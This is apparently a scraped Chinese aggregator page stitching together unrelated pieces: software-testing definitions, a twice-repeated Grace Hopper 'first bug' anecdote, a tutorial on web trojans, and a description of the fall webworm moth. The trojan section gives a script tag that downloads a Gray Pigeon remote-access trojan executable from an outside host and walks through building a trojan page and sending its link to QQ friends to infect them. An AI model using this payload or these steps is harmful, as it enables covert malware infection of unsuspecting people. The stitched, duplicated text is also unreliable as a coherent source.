    – 確認測試分析報告
    – 最終的用戶手冊和操作手冊
    – 項目開發總結報告。

    系統測試(System Testing)
    * 系統測試,是將通過確認測試的軟體,作為整個基於計算機系統的一個元素,與計算機硬體、外設、某些支持軟體、數據和人員等其它系統元素結合在一起,在實際運行環境下,對計算機系統進行一系列的組裝測試和確認測試。
    * 系統測試的目的在於通過與系統的需求定義作比較, 發現軟體與系統的定義不符合或與之矛盾的地方。
    其實軟體測試不僅僅是用工具去檢查別人的程序,他主要告訴就是保證所開發的軟體錯誤降低到最小。
    其實做軟測的也要編代碼,他們編的是軟體的源程序,我們編的是測試用例,裡面的內容很多,做軟測也需要有一定的編程基礎

    軟體測試是指使用人工或者自動的手段來運行或測定某個軟體產品系統的過程,其目的是在於檢驗是否滿足規定的需求或者弄清預期的結果與實際結果的區別。

    一句話發現BUG
    所謂「(Bug)」,是指電腦系統的硬體、系統軟體(如操作系統)或應用軟體(如文字處理軟體)出錯。硬體的出錯有兩個原因,一是設計錯誤,一是硬體部件 老化失效等。軟體的錯誤全是廠家設計錯誤。那種說用戶執行了非法操作的提示,是軟體廠商不負責的胡說八道。用戶可能會執行不正確的操作,比如本來是做加法 但按了減法鍵。這樣用戶會得到一個不正確的結果,但不會引起bug發作。軟體廠商在設計產品時的一個基本要求,就是不允許用戶做非法的操作。只要允許用戶 做的,都是合法的。用戶根本就沒有辦法知道廠家心裡是怎麼想的,哪些操作序列是非法的。
    從電腦誕生之日起,就有了電腦BUG。第一個有記載的bug是美國海軍的編程員,編譯器的發明者格蕾斯·哈珀(Grace Hopper)發現的。哈珀後來成了美國海軍的一個將軍,領導了著名計算機語言Cobol的開發。
    1945年9月9日,下午三點。哈珀中尉正領著她的小組構造一個稱為「馬克二型」的計算機。這還不是一個完全的電子計算機,它使用了大量的繼電 器,一種電子機械裝置。第二次世界大戰還沒有結束。哈珀的小組日以繼夜地工作。機房是一間第一次世界大戰時建造的老建築。那是一個炎熱的夏天,房間沒有空 調,所有窗戶都敞開散熱。
    突然,馬克二型死機了。技術人員試了很多辦法,最後定位到第70號繼電器出錯。哈珀觀察這個出錯的繼電器,發現一隻飛蛾躺在中間,已經被繼電器打死。她小心地用攝子將蛾子夾出來,用透明膠布帖到「事件記錄本」中,並註明「第一個發現蟲子的實例。」[1]
    從此以後,人們將計算機錯誤戲稱為蟲子(bug),而把找尋錯誤的工作稱為(debug)

    「BUG」的由來:
    Bug一詞的原意是「臭蟲」或「蟲子」。但是現在,在電腦系統或程序中,如果隱藏著的一些未被發現的缺陷或問題,人們也叫它「Bug」,這是怎麼回事呢?
    原來,第一代的計算機是由許多龐大且昂貴的真空管組成,並利用大量的電力來使真空管發光。可能正是由於計算機運行產生的光和熱,引得一隻小蟲子 Bug 鑽進了一支真空管內,導致整個計算機無法工作。研究人員費了半天時間,總算發現原因所在,把這只小蟲子從真空管中取出後,計算機又恢復正常。後 來,Bug這個名詞就沿用下來,表示電腦系統或程序中隱藏的錯誤、缺陷或問題。
    與Bug相對應,人們將發現Bug並加以糾正的過程叫做「Debug」,意即「捉蟲子」或「殺蟲子」。遺憾的是,在中文裡面,至今仍沒有與 「Bug」准確對應的詞彙,於是只能直接引用「Bug」一詞。雖然也有人使用「臭蟲」一詞替代「Bug」,但容易產生歧義,所以推廣不開。
    所謂「(Bug)」,是指電腦系統的硬體、系統軟體(如操作系統)或應用軟體(如文字處理軟體)出錯。硬體的出錯有兩個原因,一是設計錯誤, 一是硬體部件老化失效等。軟體的錯誤全是廠家設計錯誤。那種說用戶執行了非法操作的提示,是軟體廠商不負責的胡說八道。用戶可能會執行不正確的操作,比如 本來是做加法但按了減法鍵。這樣用戶會得到一個不正確的結果,但不會引起bug發作。軟體廠商在設計產品時的一個基本要求,就是不允許用戶做非法的操作。 只要允許用戶做的,都是合法的。用戶根本就沒有辦法知道廠家心裡是怎麼想的,哪些操作序列是非法的。
    從電腦誕生之日起,就有了電腦BUG。第一個有記載的bug是美國海軍的編程員,編譯器的發明者格蕾斯·哈珀(GraceHopper)發現的。哈珀後來成了美國海軍的一個將軍,領導了著名計算機語言Cobol的開發。
    1945年9月9日,下午三點。哈珀中尉正領著她的小組構造一個稱為「馬克二型」的計算機。這還不是一個完全的電子計算機,它使用了大量的繼電 器,一種電子機械裝置。第二次世界大戰還沒有結束。哈珀的小組日以繼夜地工作。機房是一間第一次世界大戰時建造的老建築。那是一個炎熱的夏天,房間沒有空 調,所有窗戶都敞開散熱。
    突然,馬克二型死機了。技術人員試了很多辦法,最後定位到第70號繼電器出錯。哈珀觀察這個出錯的繼電器,發現一隻飛蛾躺在中間,已經被繼電器打死。她小心地用攝子將蛾子夾出來,用透明膠布帖到「事件記錄本」中,並註明「第一個發現蟲子的實例。」[1]
    從此以後,人們將計算機錯誤戲稱為蟲子(bug),而把找尋錯誤的工作稱為(debug)。
    程序中隱藏的功能缺陷或錯誤。由於現在的軟體復雜程度早已超出了一般人能控制的范圍,如Win95、Win98這樣的較成熟的操作系統也會不定期地公布其中的Bug。如何減少以至消滅程序中的Bug,一直是程序員所極為重視的課題

    1983年,IEEE提出了軟體工程標准術語,軟體測試定義為:
    「使用人工和自動手段來運行或測試某個系統的過程,其目的在於檢驗它是否滿足規定的需求或是弄清預期結果與實際結果之間的差別。」
    簡單的說,軟體測試就是對軟體中的缺陷進行檢測和預防。

    ㈨ 惡意代碼的基本原理

    首先明確,惡意代碼實際上是一個HTML網頁,與其它網頁不同的是該網頁是黑客精心製作的,用戶一旦訪問了有惡意代碼的網頁就會中木馬。為什麼說是黑客精心製作的呢?因為嵌入在這個網頁中的腳本恰如其分地利用了IE瀏覽器的漏洞,讓IE在後台自動下載黑客放置在網路上的木馬並運行(安裝)這個木馬,也就是說,這個網頁能下載木馬到本地並運行(安裝)下載到本地電腦上的木馬,整個過程都在後台運行,用戶一旦打開這個網頁,下載過程和運行(安裝)過程就自動開始。

    有朋友會說,打開一個網頁,IE瀏覽器真的能自動下載程序和運行程序嗎?如果IE真的能肆無忌憚地任意下載和運行程序,那天下還不大亂。實際上,為了安全,IE瀏覽器是禁止自動下載程序特別是運行程序的,但是,IE瀏覽器存在著一些已知和未知的漏洞,網頁木馬就是利用這些漏洞獲得許可權來下載程序和運行程序的。下面我舉IE瀏覽器早期的一個漏洞來分別說明這兩個問題。

    ⒈自動下載程序

    <SCRIPT LANGUAGE="icyfoxlovelace" src="http://go163go.vicp.net/1.exe"></SCRIPT>

    小提示:代碼說明

    a. 代碼中「src」的屬性為程序的網路地址,本例中「http://go163go.vicp.net/1.exe」為我放置在自己Web伺服器上的灰鴿子服務端安裝程序,這段代碼能讓網頁下載該程序到瀏覽它的電腦上。

    b. 也可以把木馬程序上傳到免費的主頁空間上去,但免費空間出於安全的考慮,多數不允許上傳exe文件,黑客可能變通一下把擴展名exe改為bat或com,這樣他們就可以把這些程序上傳到伺服器上了。

    把這段代碼插入到網頁源代碼的</BODY>…</BODY>之間(如圖1),然後用沒打補丁的IE6打開,接下來,打開IE的臨時目錄<Temporary Internet Files>,你會發現,在該文件夾中有一個「1.exe」文件,這也就是說,該網頁已自動下載了我放置在Web伺服器上的灰鴿子木馬。

    二、網頁木馬的基本用法

    理解了網頁木馬攻擊的原理,我們可以製作自己的網頁木馬,但這需要你根據IE漏洞寫出利用代碼。實際上,在網上有很多高手已寫出了一些漏洞的利用代碼,有的還把它寫成了可視化的程序。在搜索引擎輸入「網頁木馬生成器」進行搜索,你會發現,在網上有很多利用IE的各種漏洞編寫的網頁木馬生成器,它們大都為可視化的程序,只要你有一個木馬(該木馬必須把它放置到網路上),利用這些生成器你就可以立即生成一個網頁,該網頁就是網頁木馬,只要他人打開這個網頁,該網頁就可以自動完成下載木馬並運行(安裝)木馬的過程。

    在我的電腦上我已下載了一個網頁木馬生成器,下面我們來看怎麼生成網頁木馬並讓他人中木馬。

    第一步:啟動該網頁木馬生成器,如圖4所示,在文本框中輸入木馬的網路地址,最後單擊「生成」。

    圖4 網頁木馬生成器

    第二步:在網頁木馬生成器的安裝文件夾會生成一個網頁文件,該文件就是我們在上一步生成的網頁木馬。上傳該文件到自己的Web伺服器或免費主面空間。

    現在好了,把上述網頁在伺服器上的地址(網址)通過QQ發給自己的好友,一旦他訪問了該網頁,該網頁就會在他的電腦上自動下載並運行你放置在網路上的木馬。

    現在你該明白安全專家勸告的「不要打開陌生人發來的網路地址」這句話的真諦了吧!實際上,即使人人都不打開陌生人發來的網址,也仍然有一些人「飛蛾補燈,自尋死路」,因為若大的Internet,總會有一些人會有意或無意地訪問這些網址,而且,有些網頁木馬,還掛在一些知名網站上(根據知名網站的訪問量,你算算吧,每天有多少人中了木馬!)。

    小提示:你可能還沒想到,看電影,在論壇查看或回復帖子也能中木馬。實際上,網頁木馬還可以掛在多媒體文件、電子郵件、論壇、CHM電子書上,這樣,用戶一旦觀看電影、查看或預覽郵件(主要是一些用電子郵件群發器發送的垃圾郵件)、參與帖子,打開電子書,用戶就會中網頁木馬。

    ㈩ 美國飛蛾介紹

    美國飛蛾又名美國燈蛾、秋幕毛蟲、秋幕蛾,屬鱗翅目燈蛾科,雌、雄體長分別為12~15mm和9~12mm,翅展分別為33~44mm和23~34mm。

    體軀純白色,無其他色斑,復眼黑褐色;雌蟲觸角鋸齒形,褐色;雄蟲雙櫛齒形,黑色。前足的基部、腿節桔黃色;脛節、跗節內側白色,外側大部黑色。

    中、後足的腿節黃白色,脛節、跗節上有黑斑。雄性外生殖器抱器瓣半月牙形,中部有一突起,突起的端部較尖,陽莖基環梯形,陽莖端膜具微刺。

    (10)飛蛾源碼商業版擴展閱讀:

    生活習性

    美國飛蛾成蟲有趨光性和趨味性,對腥臭味敏感度較強,因此,在樹木稀疏、光照條件好的地方或是臭水坑、廁所等散發惡臭味的地方發生嚴重。

    成蟲交尾時間一般為凌晨3 ~ 4時,在交尾結束後當晚或次日產卵於葉背,卵單層排列成塊狀,一塊卵有數百粒,多者可達千粒,產卵時間較長。

    幼蟲孵出幾個小時後即吐絲結網,第一、二代幼蟲主要在樹冠中下部危害結成白色網幕,第三代幼蟲在樹冠中上部危害結成白色網幕,低齡幼蟲在網幕內取食葉肉,受害葉片僅留葉脈呈白膜狀而枯黃。

閱讀全文

與飛蛾源碼商業版相關的資料

熱點內容
安卓手機賬戶忘記密碼怎麼解鎖 瀏覽:821
如何用健身app確定一個特工 瀏覽:911
多級壓縮的原理 瀏覽:864
java項目開發案例視頻 瀏覽:70
文件夾快速查找表格不同內容 瀏覽:493
合並排序演算法java 瀏覽:920
如何將文件夾刪除的部分恢復 瀏覽:808
eco為什麼連接不上伺服器 瀏覽:294
查看linux的命令是 瀏覽:12
蘋果郵件伺服器地址 瀏覽:343
U盤超級加密3000時間 瀏覽:737
如何跟別人解釋什麼是伺服器 瀏覽:939
安卓11原生如何隱藏軟體 瀏覽:712
解壓清潔面部女士 瀏覽:856
美的變頻空調壓縮啟動一下報p1 瀏覽:472
濟南如何申請app多少錢 瀏覽:166
帶加密功能的u盤啟動盤製作 瀏覽:819
計算機編程知識 瀏覽:436
c語言編程軟體都有哪些 瀏覽:157
解壓一半可以取消嘛 瀏覽:121